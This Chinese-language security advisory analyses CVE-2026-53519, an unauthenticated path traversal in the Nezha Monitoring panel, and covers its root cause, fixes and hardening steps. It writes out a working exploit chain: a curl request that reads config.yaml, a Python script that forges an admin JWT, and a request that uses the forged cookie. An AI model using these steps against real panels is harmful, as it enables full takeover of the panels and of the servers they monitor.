CVE-2026-53519 深度分析:哪吒监控(Nezha Monitoring)未授权路径穿越漏洞

概述

2026 年 5 月至 6 月间,开源服务器监控工具 哪吒探针(Nezha Monitoring) 被集中披露了多个高危安全漏洞。其中编号 CVE-2026-53519 的漏洞 CVSS 评分高达 9.1(Critical),以极其简单的攻击方式、无需任何身份认证即可完全接管面板,引发安全社区广泛关注。

该漏洞于 2026 年 6 月 12 日被 NVD 正式收录,隶属 CWE-22(路径穿越)类别,由 GitHub 安全实验室发现并报送。攻击者仅需发送 两次 GET 请求,即可完成从信息窃取到面板完全接管的全过程。

漏洞详情

漏洞编号

字段
CVE ID CVE-2026-53519
CVSS 评分 9.1(Critical)
CWE CWE-22(路径穿越)
影响版本 v2.0.13 之前的所有版本
修复版本 v2.0.13(2026-05-25 发布)
披露时间 2026-06-12
攻击向量 网络远程攻击
认证需求 无需认证

影响组件

哪吒监控是一款流行的自托管轻量级服务器监控与运维工具,采用 Go 语言编写。面板前端使用 Vue.js 构建,后端通过 Go HTTP 路由处理请求。漏洞位于面板 Dashboard 的 NoRoute 处理器 中。

漏洞成因

哪吒面板的 HTTP 路由在处理未知路径时,会触发 fallbackToFrontend 机制,尝试将请求当作前端静态资源处理。问题出在路径匹配逻辑使用了 strings.HasPrefix(简单字符串前缀匹配)而非严格的路径段匹配。

核心代码逻辑如下:

1. fallbackToFrontend 将任何以 "/dashboard" 开头的 URL 视为前端资源请求
2. 使用 strings.HasPrefix 检查,而非路径段匹配
3. 输入 "/dashboard../data/config.yaml" 被接受
4. strings.TrimPrefix 处理后得到 "../data/config.yaml"
5. path.Join("admin-dist", "../data/config.yaml") 归一化为 "data/config.yaml"
6. os.Stat 找到该文件,http.ServeFile 直接返回

注意 strings.HasPrefix(r.URL.Path, "/dashboard") 只检查字符串是否以子串 "/dashboard" 开头,而不是检查路径段(path segment)是否匹配 "/dashboard/"。这意味着 /dashboard../data/config.yaml 通过了检查,但 TrimPrefix 后得到的 "../data/config.yaml" 配合 path.Join 的路径归一化后,能跳出 admin-dist 目录,访问服务端任意文件。

攻击路径分析

第一步:读取配置文件

攻击者构造如下 GET 请求:

curl -v "http://<面板IP>:<端口>/dashboard../data/config.yaml"

该请求无需任何身份验证,直接返回面板的核心配置文件 config.yaml,其中包含:

  • jwt_secret_key:JWT 签名密钥(最关键的字段)
  • 数据库连接信息(IP、端口、用户名、密码)
  • 管理员账号与密码哈希
  • OAuth2 凭据
  • 被监控服务器列表

第二步:伪造 JWT 令牌

获取 jwt_secret_key 后,攻击者利用 HS256(HMAC-SHA256) 对称加密算法伪造管理员的 JWT Cookie。由于对称密钥被泄露,攻击者可以签发任意身份和角色的令牌。

import jwt
import time

secret = "从 config.yaml 中获取的 jwt_secret_key"
admin_id = 1  # 管理员 ID 通常为 1

payload = {
    "id": admin_id,
    "role": 0,       # 0 代表管理员(RoleAdmin)
    "exp": int(time.time()) + 86400  # 24 小时有效期
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(f"伪造的 JWT: {token}")

第三步:完全接管

携带伪造的 Cookie 访问面板:

curl "http://<面板IP>:<端口>/dashboard/" \
  -H "Cookie: nz-jwt=<伪造的JWT>"

攻击者即获得最高管理员权限(RoleAdmin),可完全控制面板及所有被监控的服务器,包括:

  • 查看所有服务器的实时遥测数据
  • 在任意被监控服务器上执行命令
  • 添加/删除服务器
  • 创建/修改计划任务
  • 查看和修改系统配置

完整攻击链

GET /dashboard../data/config.yaml  →  获取 JWT 密钥
         ↓
伪造 HS256 签名的管理员 JWT Cookie
         ↓
GET /dashboard/  →  以管理员身份登录面板
         ↓
完全接管所有被监控服务器

仅需 2 次 GET 请求,无需任何认证,全程无用户交互,可完全自动化。

漏洞根因剖析

1. strings.HasPrefix 而非路径段匹配

// 有问题的代码
if strings.HasPrefix(r.URL.Path, "/dashboard") {
    trimmed := strings.TrimPrefix(r.URL.Path, "/dashboard")
    filePath := path.Join("admin-dist", trimmed)
    // ...
}

问题:/dashboard../data/config.yaml 的 HasPrefix 返回 true,TrimPrefix 后得到 ../data/config.yaml,Join 后得到 data/config.yaml,绕过路径限制。

正确的做法应该是使用严格的路径段匹配:

// 正确的做法
if strings.HasPrefix(r.URL.Path, "/dashboard/") || r.URL.Path == "/dashboard" {
    // 仅当路径段完全匹配 "/dashboard" 或 "/dashboard/..." 时才处理
}

2. 缺乏路径净化

在将用户输入拼接为文件路径之前,未对 .. 等路径遍历序列进行过滤或拒绝。

3. 无需认证

NoRoute 处理器是全局的,不要求任何认证中间件,导致未授权访问。

真实攻击案例

根据安全社区披露的数据,漏洞披露后已有大量哪吒探针用户遭到攻击:

  • 受影响范围:面板连接的所有 Agent 机器被植入 gary@gary SSH 后门公钥
  • 攻击后果:多台服务器被部署挖矿程序、持久化木马,或被用于发起 DDoS 攻击
  • 攻击特征:同一把 SSH 公钥 gary@gary 出现在大量受害服务器上
  • 持续影响:许多服务器因长时间 CPU 过载和攻击流量被服务商封禁

"攻击者能够直接在管理面板对服务器执行任何 shell 命令,所以被攻击者利用来安装木马攻击程序和挖矿程序。"

修复方案

官方修复(推荐)

升级到 v2.0.13 或更高版本:

# 官方更新方式因部署方式而异,请参考官方文档

v2.0.13 版本通过以下方式修复了该漏洞:

  1. HasPrefix 替换为严格的路径段匹配
  2. 对路径进行净化处理,拒绝包含 .. 的路径
  3. 为静态资源处理器添加了认证中间件

临时缓解措施

如无法立即升级:

  1. 防火墙限制:通过防火墙或反向代理严格限制面板管理页面的访问,仅允许可信 IP
  2. 内网部署:将面板部署在内网,不直接暴露于公网
  3. IP 白名单:配置反向代理(如 Nginx)的 IP 白名单
# Nginx 反向代理白名单示例
location / {
    allow 你的可信IP;
    deny all;
    proxy_pass http://127.0.0.1:面板端口;
}

安全加固建议

  1. 启用自动更新:确保面板始终使用最新版本
  2. 限制 Agent 权限:在 Agent 配置文件中设置:
    • disable_command_execute: true(禁止远程命令执行)
    • disable_auto_update: true(禁止自动更新)
  3. 安全自查:升级后检查:
    • 是否存在异常管理员账号
    • 是否在 ~/.ssh/authorized_keys 中存在 gary@gary 公钥
    • 是否存在异常的计划任务
  4. 修改默认密码:V1 版本默认使用弱口令 admin/admin,务必立即修改
  5. 重新生成密钥:如果怀疑曾被攻击,重置 JWT 密钥、API 密钥及 OAuth2 凭证

关联漏洞

CVE-2026-53519 并非孤立漏洞。同期披露的还有:

编号 类型 CVSS 描述
CVE-2026-46716 跨租户 RCE 9.9 RoleMember 可在所有服务器上执行任意命令
CVE-2026-46717 SSRF 高危 利用通知功能实现 SSRF + 响应反射
CVE-2026-47124 数据泄露 中高危 WebSocket 跨租户遥测数据泄露
CVE-2026-48119 数据伪造 中危 Agent 伪造监控结果
CVE-2026-49396 CSRF 中危 无防护的 GET 请求触发计划任务
CVE-2026-49397 信息泄露 中危 隐藏服务信息无需认证即可读取

多个漏洞可组合使用形成完整的攻击链,进一步放大了危害程度。

总结

CVE-2026-53519 是一个教科书级别的 糟糕设计代价 案例。一个看似不起眼的 strings.HasPrefix 与路径段匹配的选择差异,导致了 CVSS 9.1 的致命漏洞。它再次提醒我们:

  • 最小权限原则:静态文件服务应严格限定可访问的目录范围
  • 输入校验必须严格:路径匹配必须使用段级别的比较,而非字符串前缀
  • 敏感信息必须加密存储:JWT 密钥不应明文存储在配置文件中
  • 管理面板不应直接暴露于公网:即使有认证,也建议通过 VPN 或白名单访问
  • 自动更新至关重要:安全补丁发布后,每延迟一天都在增加被攻击的风险

如果你正在使用哪吒探针,请立即检查版本并升级至 v2.0.13+。不要让你的监控面板变成敌人的指挥中心。